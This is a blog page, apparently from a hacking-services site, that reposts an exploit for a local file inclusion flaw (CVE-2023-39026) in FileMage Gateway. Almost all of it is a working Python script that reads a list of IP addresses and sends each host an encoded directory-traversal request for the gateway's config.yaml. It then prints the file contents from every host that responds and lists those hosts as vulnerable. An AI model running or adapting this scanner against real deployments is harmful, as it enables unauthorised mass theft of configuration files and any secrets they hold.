Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86387959

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion
# Date: 8/22/2023
# Exploit Author: Bryce "Raindayzz" Harty   
# Vendor Homepage: https://www.filemage.io/
# Version: Azure Versions < 1.10.9
# Tested on: All Azure deployments < 1.10.9 
# CVE : CVE-2023-39026

# Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
# Patch from vendor - https://www.filemage.io/docs/updates.html

import requests
import warnings
warnings.filterwarnings("ignore")
def worker(url):
    response = requests.get(url, verify=False, timeout=.5)
    return response
def main():
    listIP = []
    file_path = input("Enter the path to the file containing the IP addresses: ")
    with open(file_path, 'r') as file:
        ip_list = file.read().splitlines()
        searchString = "tls"
        for ip in ip_list:
            url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"
            try:
                response = worker(url)
                #print(response.text)
                if searchString in response.text:
                    print("Vulnerable IP: " + ip)
                    print(response.text)
                    listIP.append(ip)
            except requests.exceptions.RequestException as e:  
                print(f"Error occurred for {ip}: {str(e)}")

    for x in listIP:
        print(x)
if __name__ == '__main__':
    main()